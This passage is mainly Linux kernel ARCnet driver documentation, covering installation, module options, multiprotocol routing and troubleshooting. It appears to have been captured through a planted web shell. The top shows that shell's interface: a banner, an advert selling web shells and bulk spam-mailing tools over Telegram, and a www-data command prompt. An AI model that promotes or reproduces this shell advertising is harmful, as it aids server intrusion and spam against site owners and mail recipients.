__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.7: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>ARCnet &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="ATM" href="atm.html" />
    <link rel="prev" title="ARCnet Hardware" href="arcnet-hardware.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Networking</a></li>
<li class="toctree-l3"><a class="reference internal" href="../netlabel/index.html">NetLabel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../infiniband/index.html">InfiniBand</a></li>
<li class="toctree-l3"><a class="reference internal" href="../isdn/index.html">ISDN</a></li>
<li class="toctree-l3"><a class="reference internal" href="../mhi/index.html">MHI</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/networking/arcnet.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="arcnet">
<h1>ARCnet<a class="headerlink" href="#arcnet" title="Link to this heading">¶</a></h1>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>See also <a class="reference internal" href="arcnet-hardware.html"><span class="doc">ARCnet Hardware</span></a> in this directory for jumper-setting
and cabling information if you’re like many of us and didn’t happen to get a
manual with your ARCnet card.</p>
</div>
<p>Since no one seems to listen to me otherwise, perhaps a poem will get your
attention:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>This driver&#39;s getting fat and beefy,
But my cat is still named Fifi.
</pre></div>
</div>
<p>Hmm, I think I’m allowed to call that a poem, even though it’s only two
lines.  Hey, I’m in Computer Science, not English.  Give me a break.</p>
<p>The point is:  I REALLY REALLY REALLY REALLY REALLY want to hear from you if
you test this and get it working.  Or if you don’t.  Or anything.</p>
<p>ARCnet 0.32 ALPHA first made it into the Linux kernel 1.1.80 - this was
nice, but after that even FEWER people started writing to me because they
didn’t even have to install the patch.  &lt;sigh&gt;</p>
<p>Come on, be a sport!  Send me a success report!</p>
<p>(hey, that was even better than my original poem... this is getting bad!)</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>If you don’t e-mail me about your success/failure soon, I may be forced to
start SINGING.  And we don’t want that, do we?</p>
<p>(You know, it might be argued that I’m pushing this point a little too much.
If you think so, why not flame me in a quick little e-mail?  Please also
include the type of card(s) you’re using, software, size of network, and
whether it’s working or not.)</p>
<p>My e-mail address is: <a class="reference external" href="mailto:apenwarr&#37;&#52;&#48;worldvisions&#46;ca">apenwarr<span>&#64;</span>worldvisions<span>&#46;</span>ca</a></p>
</div>
<p>These are the ARCnet drivers for Linux.</p>
<p>This new release (2.91) has been put together by David Woodhouse
&lt;<a class="reference external" href="mailto:dwmw2&#37;&#52;&#48;infradead&#46;org">dwmw2<span>&#64;</span>infradead<span>&#46;</span>org</a>&gt;, in an attempt to tidy up the driver after adding support
for yet another chipset. Now the generic support has been separated from the
individual chipset drivers, and the source files aren’t quite so packed with
#ifdefs! I’ve changed this file a bit, but kept it in the first person from
Avery, because I didn’t want to completely rewrite it.</p>
<p>The previous release resulted from many months of on-and-off effort from me
(Avery Pennarun), many bug reports/fixes and suggestions from others, and in
particular a lot of input and coding from Tomasz Motylewski.  Starting with
ARCnet 2.10 ALPHA, Tomasz’s all-new-and-improved RFC1051 support has been
included and seems to be working fine!</p>
<section id="where-do-i-discuss-these-drivers">
<h2>Where do I discuss these drivers?<a class="headerlink" href="#where-do-i-discuss-these-drivers" title="Link to this heading">¶</a></h2>
<p>Tomasz has been so kind as to set up a new and improved mailing list.
Subscribe by sending a message with the BODY “subscribe linux-arcnet YOUR
REAL NAME” to <a class="reference external" href="mailto:listserv&#37;&#52;&#48;tichy&#46;ch&#46;uj&#46;edu&#46;pl">listserv<span>&#64;</span>tichy<span>&#46;</span>ch<span>&#46;</span>uj<span>&#46;</span>edu<span>&#46;</span>pl</a>.  Then, to submit messages to the
list, mail to <a class="reference external" href="mailto:linux-arcnet&#37;&#52;&#48;tichy&#46;ch&#46;uj&#46;edu&#46;pl">linux-arcnet<span>&#64;</span>tichy<span>&#46;</span>ch<span>&#46;</span>uj<span>&#46;</span>edu<span>&#46;</span>pl</a>.</p>
<p>There are archives of the mailing list at:</p>
<blockquote>
<div><p><a class="reference external" href="http://epistolary.org/mailman/listinfo.cgi/arcnet">http://epistolary.org/mailman/listinfo.cgi/arcnet</a></p>
</div></blockquote>
<p>The people on <a class="reference external" href="mailto:linux-net&#37;&#52;&#48;vger&#46;kernel&#46;org">linux-net<span>&#64;</span>vger<span>&#46;</span>kernel<span>&#46;</span>org</a> (now defunct, replaced by
<a class="reference external" href="mailto:netdev&#37;&#52;&#48;vger&#46;kernel&#46;org">netdev<span>&#64;</span>vger<span>&#46;</span>kernel<span>&#46;</span>org</a>) have also been known to be very helpful, especially
when we’re talking about ALPHA Linux kernels that may or may not work right
in the first place.</p>
</section>
<section id="other-drivers-and-info">
<h2>Other Drivers and Info<a class="headerlink" href="#other-drivers-and-info" title="Link to this heading">¶</a></h2>
<p>You can try my ARCNET page on the World Wide Web at:</p>
<blockquote>
<div><p><a class="reference external" href="http://www.qis.net/~jschmitz/arcnet/">http://www.qis.net/~jschmitz/arcnet/</a></p>
</div></blockquote>
<p>Also, SMC (one of the companies that makes ARCnet cards) has a WWW site you
might be interested in, which includes several drivers for various cards
including ARCnet.  Try:</p>
<blockquote>
<div><p><a class="reference external" href="http://www.smc.com/">http://www.smc.com/</a></p>
</div></blockquote>
<p>Performance Technologies makes various network software that supports
ARCnet:</p>
<blockquote>
<div><p><a class="reference external" href="http://www.perftech.com/">http://www.perftech.com/</a> or ftp to ftp.perftech.com.</p>
</div></blockquote>
<p>Novell makes a networking stack for DOS which includes ARCnet drivers.  Try
FTPing to ftp.novell.com.</p>
<p>You can get the Crynwr packet driver collection (including arcether.com, the
one you’ll want to use with ARCnet cards) from
oak.oakland.edu:/simtel/msdos/pktdrvr. It won’t work perfectly on a 386+
without patches, though, and also doesn’t like several cards.  Fixed
versions are available on my WWW page, or via e-mail if you don’t have WWW
access.</p>
</section>
<section id="installing-the-driver">
<h2>Installing the Driver<a class="headerlink" href="#installing-the-driver" title="Link to this heading">¶</a></h2>
<p>All you will need to do in order to install the driver is:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>make config
        (be sure to choose ARCnet in the network devices
        and at least one chipset driver.)
make clean
make zImage
</pre></div>
</div>
<p>If you obtained this ARCnet package as an upgrade to the ARCnet driver in
your current kernel, you will need to first copy arcnet.c over the one in
the linux/drivers/net directory.</p>
<p>You will know the driver is installed properly if you get some ARCnet
messages when you reboot into the new Linux kernel.</p>
<p>There are four chipset options:</p>
<blockquote>
<div><ol class="arabic simple">
<li><p>Standard ARCnet COM90xx chipset.</p></li>
</ol>
</div></blockquote>
<p>This is the normal ARCnet card, which you’ve probably got. This is the only
chipset driver which will autoprobe if not told where the card is.
It following options on the command line:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>com90xx=[&lt;io&gt;[,&lt;irq&gt;[,&lt;shmem&gt;]]][,&lt;name&gt;] | &lt;name&gt;
</pre></div>
</div>
<p>If you load the chipset support as a module, the options are:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>io=&lt;io&gt; irq=&lt;irq&gt; shmem=&lt;shmem&gt; device=&lt;name&gt;
</pre></div>
</div>
<p>To disable the autoprobe, just specify “com90xx=” on the kernel command line.
To specify the name alone, but allow autoprobe, just put “com90xx=&lt;name&gt;”</p>
<blockquote>
<div><ol class="arabic simple" start="2">
<li><p>ARCnet COM20020 chipset.</p></li>
</ol>
</div></blockquote>
<p>This is the new chipset from SMC with support for promiscuous mode (packet
sniffing), extra diagnostic information, etc. Unfortunately, there is no
sensible method of autoprobing for these cards. You must specify the I/O
address on the kernel command line.</p>
<p>The command line options are:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>com20020=&lt;io&gt;[,&lt;irq&gt;[,&lt;node_ID&gt;[,backplane[,CKP[,timeout]]]]][,name]
</pre></div>
</div>
<p>If you load the chipset support as a module, the options are:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>io=&lt;io&gt; irq=&lt;irq&gt; node=&lt;node_ID&gt; backplane=&lt;backplane&gt; clock=&lt;CKP&gt;
timeout=&lt;timeout&gt; device=&lt;name&gt;
</pre></div>
</div>
<p>The COM20020 chipset allows you to set the node ID in software, overriding the
default which is still set in DIP switches on the card. If you don’t have the
COM20020 data sheets, and you don’t know what the other three options refer
to, then they won’t interest you - forget them.</p>
<blockquote>
<div><ol class="arabic simple" start="3">
<li><p>ARCnet COM90xx chipset in IO-mapped mode.</p></li>
</ol>
</div></blockquote>
<p>This will also work with the normal ARCnet cards, but doesn’t use the shared
memory. It performs less well than the above driver, but is provided in case
you have a card which doesn’t support shared memory, or (strangely) in case
you have so many ARCnet cards in your machine that you run out of shmem slots.
If you don’t give the IO address on the kernel command line, then the driver
will not find the card.</p>
<p>The command line options are:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>com90io=&lt;io&gt;[,&lt;irq&gt;][,&lt;name&gt;]
</pre></div>
</div>
<dl class="simple">
<dt>If you load the chipset support as a module, the options are:</dt><dd><p>io=&lt;io&gt; irq=&lt;irq&gt; device=&lt;name&gt;</p>
<ol class="arabic simple" start="4">
<li><p>ARCnet RIM I cards.</p></li>
</ol>
</dd>
</dl>
<p>These are COM90xx chips which are _completely_ memory mapped. The support for
these is not tested. If you have one, please mail the author with a success
report. All options must be specified, except the device name.
Command line options:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>arcrimi=&lt;shmem&gt;,&lt;irq&gt;,&lt;node_ID&gt;[,&lt;name&gt;]
</pre></div>
</div>
<p>If you load the chipset support as a module, the options are:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>shmem=&lt;shmem&gt; irq=&lt;irq&gt; node=&lt;node_ID&gt; device=&lt;name&gt;
</pre></div>
</div>
</section>
<section id="loadable-module-support">
<h2>Loadable Module Support<a class="headerlink" href="#loadable-module-support" title="Link to this heading">¶</a></h2>
<p>Configure and rebuild Linux.  When asked, answer ‘m’ to “Generic ARCnet
support” and to support for your ARCnet chipset if you want to use the
loadable module. You can also say ‘y’ to “Generic ARCnet support” and ‘m’
to the chipset support if you wish.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>make config
make clean
make zImage
make modules
</pre></div>
</div>
<p>If you’re using a loadable module, you need to use insmod to load it, and
you can specify various characteristics of your card on the command
line.  (In recent versions of the driver, autoprobing is much more reliable
and works as a module, so most of this is now unnecessary.)</p>
<p>For example:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>cd /usr/src/linux/modules
insmod arcnet.o
insmod com90xx.o
insmod com20020.o io=0x2e0 device=eth1
</pre></div>
</div>
</section>
<section id="using-the-driver">
<h2>Using the Driver<a class="headerlink" href="#using-the-driver" title="Link to this heading">¶</a></h2>
<p>If you build your kernel with ARCnet COM90xx support included, it should
probe for your card automatically when you boot. If you use a different
chipset driver complied into the kernel, you must give the necessary options
on the kernel command line, as detailed above.</p>
<p>Go read the NET-2-HOWTO and ETHERNET-HOWTO for Linux; they should be
available where you picked up this driver.  Think of your ARCnet as a
souped-up (or down, as the case may be) Ethernet card.</p>
<p>By the way, be sure to change all references from “eth0” to “arc0” in the
HOWTOs.  Remember that ARCnet isn’t a “true” Ethernet, and the device name
is DIFFERENT.</p>
</section>
<section id="multiple-cards-in-one-computer">
<h2>Multiple Cards in One Computer<a class="headerlink" href="#multiple-cards-in-one-computer" title="Link to this heading">¶</a></h2>
<p>Linux has pretty good support for this now, but since I’ve been busy, the
ARCnet driver has somewhat suffered in this respect. COM90xx support, if
compiled into the kernel, will (try to) autodetect all the installed cards.</p>
<p>If you have other cards, with support compiled into the kernel, then you can
just repeat the options on the kernel command line, e.g.:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>LILO: linux com20020=0x2e0 com20020=0x380 com90io=0x260
</pre></div>
</div>
<p>If you have the chipset support built as a loadable module, then you need to
do something like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>insmod -o arc0 com90xx
insmod -o arc1 com20020 io=0x2e0
insmod -o arc2 com90xx
</pre></div>
</div>
<p>The ARCnet drivers will now sort out their names automatically.</p>
</section>
<section id="how-do-i-get-it-to-work-with">
<h2>How do I get it to work with...?<a class="headerlink" href="#how-do-i-get-it-to-work-with" title="Link to this heading">¶</a></h2>
<dl>
<dt>NFS:</dt><dd><p>Should be fine linux-&gt;linux, just pretend you’re using Ethernet cards.
oak.oakland.edu:/simtel/msdos/nfs has some nice DOS clients.  There
is also a DOS-based NFS server called SOSS.  It doesn’t multitask
quite the way Linux does (actually, it doesn’t multitask AT ALL) but
you never know what you might need.</p>
<p>With AmiTCP (and possibly others), you may need to set the following
options in your Amiga nfstab:  MD 1024 MR 1024 MW 1024
(Thanks to Christian Gottschling &lt;<a class="reference external" href="mailto:ferksy&#37;&#52;&#48;indigo&#46;tng&#46;oche&#46;de">ferksy<span>&#64;</span>indigo<span>&#46;</span>tng<span>&#46;</span>oche<span>&#46;</span>de</a>&gt;
for this.)</p>
<p>Probably these refer to maximum NFS data/read/write block sizes.  I
don’t know why the defaults on the Amiga didn’t work; write to me if
you know more.</p>
</dd>
<dt>DOS:</dt><dd><p>If you’re using the freeware arcether.com, you might want to install
the driver patch from my web page.  It helps with PC/TCP, and also
can get arcether to load if it timed out too quickly during
initialization.  In fact, if you use it on a 386+ you REALLY need
the patch, really.</p>
</dd>
<dt>Windows:</dt><dd><p>See DOS :)  Trumpet Winsock works fine with either the Novell or
Arcether client, assuming you remember to load winpkt of course.</p>
</dd>
<dt>LAN Manager and Windows for Workgroups:</dt><dd><p>These programs use protocols that
are incompatible with the Internet standard.  They try to pretend
the cards are Ethernet, and confuse everyone else on the network.</p>
<p>However, v2.00 and higher of the Linux ARCnet driver supports this
protocol via the ‘arc0e’ device.  See the section on “Multiprotocol
Support” for more information.</p>
<p>Using the freeware Samba server and clients for Linux, you can now
interface quite nicely with TCP/IP-based WfWg or Lan Manager
networks.</p>
</dd>
<dt>Windows 95:</dt><dd><p>Tools are included with Win95 that let you use either the LANMAN
style network drivers (NDIS) or Novell drivers (ODI) to handle your
ARCnet packets.  If you use ODI, you’ll need to use the ‘arc0’
device with Linux.  If you use NDIS, then try the ‘arc0e’ device.
See the “Multiprotocol Support” section below if you need arc0e,
you’re completely insane, and/or you need to build some kind of
hybrid network that uses both encapsulation types.</p>
</dd>
<dt>OS/2:</dt><dd><p>I’ve been told it works under Warp Connect with an ARCnet driver from
SMC.  You need to use the ‘arc0e’ interface for this.  If you get
the SMC driver to work with the TCP/IP stuff included in the
“normal” Warp Bonus Pack, let me know.</p>
<p>ftp.microsoft.com also has a freeware “Lan Manager for OS/2” client
which should use the same protocol as WfWg does.  I had no luck
installing it under Warp, however.  Please mail me with any results.</p>
</dd>
<dt>NetBSD/AmiTCP:</dt><dd><p>These use an old version of the Internet standard ARCnet
protocol (RFC1051) which is compatible with the Linux driver v2.10
ALPHA and above using the arc0s device. (See “Multiprotocol ARCnet”
below.)  ** Newer versions of NetBSD apparently support RFC1201.</p>
</dd>
</dl>
</section>
<section id="using-multiprotocol-arcnet">
<h2>Using Multiprotocol ARCnet<a class="headerlink" href="#using-multiprotocol-arcnet" title="Link to this heading">¶</a></h2>
<p>The ARCnet driver v2.10 ALPHA supports three protocols, each on its own
“virtual network device”:</p>
<blockquote>
<div><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>arc0</p></td>
<td><p>RFC1201 protocol, the official Internet standard which just
happens to be 100% compatible with Novell’s TRXNET driver.
Version 1.00 of the ARCnet driver supported _only_ this
protocol.  arc0 is the fastest of the three protocols (for
whatever reason), and allows larger packets to be used
because it supports RFC1201 “packet splitting” operations.
Unless you have a specific need to use a different protocol,
I strongly suggest that you stick with this one.</p></td>
</tr>
<tr class="row-even"><td><p>arc0e</p></td>
<td><p>“Ethernet-Encapsulation” which sends packets over ARCnet
that are actually a lot like Ethernet packets, including the
6-byte hardware addresses.  This protocol is compatible with
Microsoft’s NDIS ARCnet driver, like the one in WfWg and
LANMAN.  Because the MTU of 493 is actually smaller than the
one “required” by TCP/IP (576), there is a chance that some
network operations will not function properly.  The Linux
TCP/IP layer can compensate in most cases, however, by
automatically fragmenting the TCP/IP packets to make them
fit.  arc0e also works slightly more slowly than arc0, for
reasons yet to be determined.  (Probably it’s the smaller
MTU that does it.)</p></td>
</tr>
<tr class="row-odd"><td><p>arc0s</p></td>
<td><p>The “[s]imple” RFC1051 protocol is the “previous” Internet
standard that is completely incompatible with the new
standard.  Some software today, however, continues to
support the old standard (and only the old standard)
including NetBSD and AmiTCP.  RFC1051 also does not support
RFC1201’s packet splitting, and the MTU of 507 is still
smaller than the Internet “requirement,” so it’s quite
possible that you may run into problems.  It’s also slower
than RFC1201 by about 25%, for the same reason as arc0e.</p>
<p>The arc0s support was contributed by Tomasz Motylewski
and modified somewhat by me.  Bugs are probably my fault.</p>
</td>
</tr>
</tbody>
</table>
</div></blockquote>
<p>You can choose not to compile arc0e and arc0s into the driver if you want -
this will save you a bit of memory and avoid confusion when eg. trying to
use the “NFS-root” stuff in recent Linux kernels.</p>
<p>The arc0e and arc0s devices are created automatically when you first
ifconfig the arc0 device.  To actually use them, though, you need to also
ifconfig the other virtual devices you need.  There are a number of ways you
can set up your network then:</p>
<ol class="arabic">
<li><p>Single Protocol.</p>
<p>This is the simplest way to configure your network: use just one of the
two available protocols.  As mentioned above, it’s a good idea to use
only arc0 unless you have a good reason (like some other software, ie.
WfWg, that only works with arc0e).</p>
<p>If you need only arc0, then the following commands should get you going:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>ifconfig arc0 MY.IP.ADD.RESS
route add MY.IP.ADD.RESS arc0
route add -net SUB.NET.ADD.RESS arc0
[add other local routes here]
</pre></div>
</div>
<p>If you need arc0e (and only arc0e), it’s a little different:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>ifconfig arc0 MY.IP.ADD.RESS
ifconfig arc0e MY.IP.ADD.RESS
route add MY.IP.ADD.RESS arc0e
route add -net SUB.NET.ADD.RESS arc0e
</pre></div>
</div>
<p>arc0s works much the same way as arc0e.</p>
</li>
<li><p>More than one protocol on the same wire.</p>
<p>Now things start getting confusing.  To even try it, you may need to be
partly crazy.  Here’s what <em>I</em> did. :) Note that I don’t include arc0s in
my home network; I don’t have any NetBSD or AmiTCP computers, so I only
use arc0s during limited testing.</p>
<p>I have three computers on my home network; two Linux boxes (which prefer
RFC1201 protocol, for reasons listed above), and one XT that can’t run
Linux but runs the free Microsoft LANMAN Client instead.</p>
<p>Worse, one of the Linux computers (freedom) also has a modem and acts as
a router to my Internet provider.  The other Linux box (insight) also has
its own IP address and needs to use freedom as its default gateway.  The
XT (patience), however, does not have its own Internet IP address and so
I assigned it one on a “private subnet” (as defined by RFC1597).</p>
<p>To start with, take a simple network with just insight and freedom.
Insight needs to:</p>
<blockquote>
<div><ul class="simple">
<li><p>talk to freedom via RFC1201 (arc0) protocol, because I like it
more and it’s faster.</p></li>
<li><p>use freedom as its Internet gateway.</p></li>
</ul>
</div></blockquote>
<p>That’s pretty easy to do.  Set up insight like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>ifconfig arc0 insight
route add insight arc0
route add freedom arc0  /* I would use the subnet here (like I said
                                to in &quot;single protocol&quot; above),
                                but the rest of the subnet
                                unfortunately lies across the PPP
                                link on freedom, which confuses
                                things. */
route add default gw freedom
</pre></div>
</div>
<p>And freedom gets configured like so:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>ifconfig arc0 freedom
route add freedom arc0
route add insight arc0
/* and default gateway is configured by pppd */
</pre></div>
</div>
<p>Great, now insight talks to freedom directly on arc0, and sends packets
to the Internet through freedom.  If you didn’t know how to do the above,
you should probably stop reading this section now because it only gets
worse.</p>
<p>Now, how do I add patience into the network?  It will be using LANMAN
Client, which means I need the arc0e device.  It needs to be able to talk
to both insight and freedom, and also use freedom as a gateway to the
Internet.  (Recall that patience has a “private IP address” which won’t
work on the Internet; that’s okay, I configured Linux IP masquerading on
freedom for this subnet).</p>
<p>So patience (necessarily; I don’t have another IP number from my
provider) has an IP address on a different subnet than freedom and
insight, but needs to use freedom as an Internet gateway.  Worse, most
DOS networking programs, including LANMAN, have braindead networking
schemes that rely completely on the netmask and a ‘default gateway’ to
determine how to route packets.  This means that to get to freedom or
insight, patience WILL send through its default gateway, regardless of
the fact that both freedom and insight (courtesy of the arc0e device)
could understand a direct transmission.</p>
<p>I compensate by giving freedom an extra IP address - aliased ‘gatekeeper’ -
that is on my private subnet, the same subnet that patience is on.  I
then define gatekeeper to be the default gateway for patience.</p>
<p>To configure freedom (in addition to the commands above):</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>ifconfig arc0e gatekeeper
route add gatekeeper arc0e
route add patience arc0e
</pre></div>
</div>
<p>This way, freedom will send all packets for patience through arc0e,
giving its IP address as gatekeeper (on the private subnet).  When it
talks to insight or the Internet, it will use its “freedom” Internet IP
address.</p>
<p>You will notice that we haven’t configured the arc0e device on insight.
This would work, but is not really necessary, and would require me to
assign insight another special IP number from my private subnet.  Since
both insight and patience are using freedom as their default gateway, the
two can already talk to each other.</p>
<p>It’s quite fortunate that I set things up like this the first time (cough
cough) because it’s really handy when I boot insight into DOS.  There, it
runs the Novell ODI protocol stack, which only works with RFC1201 ARCnet.
In this mode it would be impossible for insight to communicate directly
with patience, since the Novell stack is incompatible with Microsoft’s
Ethernet-Encap.  Without changing any settings on freedom or patience, I
simply set freedom as the default gateway for insight (now in DOS,
remember) and all the forwarding happens “automagically” between the two
hosts that would normally not be able to communicate at all.</p>
<p>For those who like diagrams, I have created two “virtual subnets” on the
same physical ARCnet wire.  You can picture it like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>    [RFC1201 NETWORK]                   [ETHER-ENCAP NETWORK]
(registered Internet subnet)           (RFC1597 private subnet)

                       (IP Masquerade)
    /---------------\         *            /---------------\
    |               |         *            |               |
    |               +-Freedom-*-Gatekeeper-+               |
    |               |    |    *            |               |
    \-------+-------/    |    *            \-------+-------/
            |            |                         |
         Insight         |                      Patience
                     (Internet)
</pre></div>
</div>
</li>
</ol>
</section>
<section id="it-works-what-now">
<h2>It works: what now?<a class="headerlink" href="#it-works-what-now" title="Link to this heading">¶</a></h2>
<p>Send mail describing your setup, preferably including driver version, kernel
version, ARCnet card model, CPU type, number of systems on your network, and
list of software in use to me at the following address:</p>
<blockquote>
<div><p><a class="reference external" href="mailto:apenwarr&#37;&#52;&#48;worldvisions&#46;ca">apenwarr<span>&#64;</span>worldvisions<span>&#46;</span>ca</a></p>
</div></blockquote>
<p>I do send (sometimes automated) replies to all messages I receive.  My email
can be weird (and also usually gets forwarded all over the place along the
way to me), so if you don’t get a reply within a reasonable time, please
resend.</p>
</section>
<section id="it-doesn-t-work-what-now">
<h2>It doesn’t work: what now?<a class="headerlink" href="#it-doesn-t-work-what-now" title="Link to this heading">¶</a></h2>
<p>Do the same as above, but also include the output of the ifconfig and route
commands, as well as any pertinent log entries (ie. anything that starts
with “arcnet:” and has shown up since the last reboot) in your mail.</p>
<p>If you want to try fixing it yourself (I strongly recommend that you mail me
about the problem first, since it might already have been solved) you may
want to try some of the debug levels available.  For heavy testing on
D_DURING or more, it would be a REALLY good idea to kill your klogd daemon
first!  D_DURING displays 4-5 lines for each packet sent or received.  D_TX,
D_RX, and D_SKB actually DISPLAY each packet as it is sent or received,
which is obviously quite big.</p>
<p>Starting with v2.40 ALPHA, the autoprobe routines have changed
significantly.  In particular, they won’t tell you why the card was not
found unless you turn on the D_INIT_REASONS debugging flag.</p>
<p>Once the driver is running, you can run the arcdump shell script (available
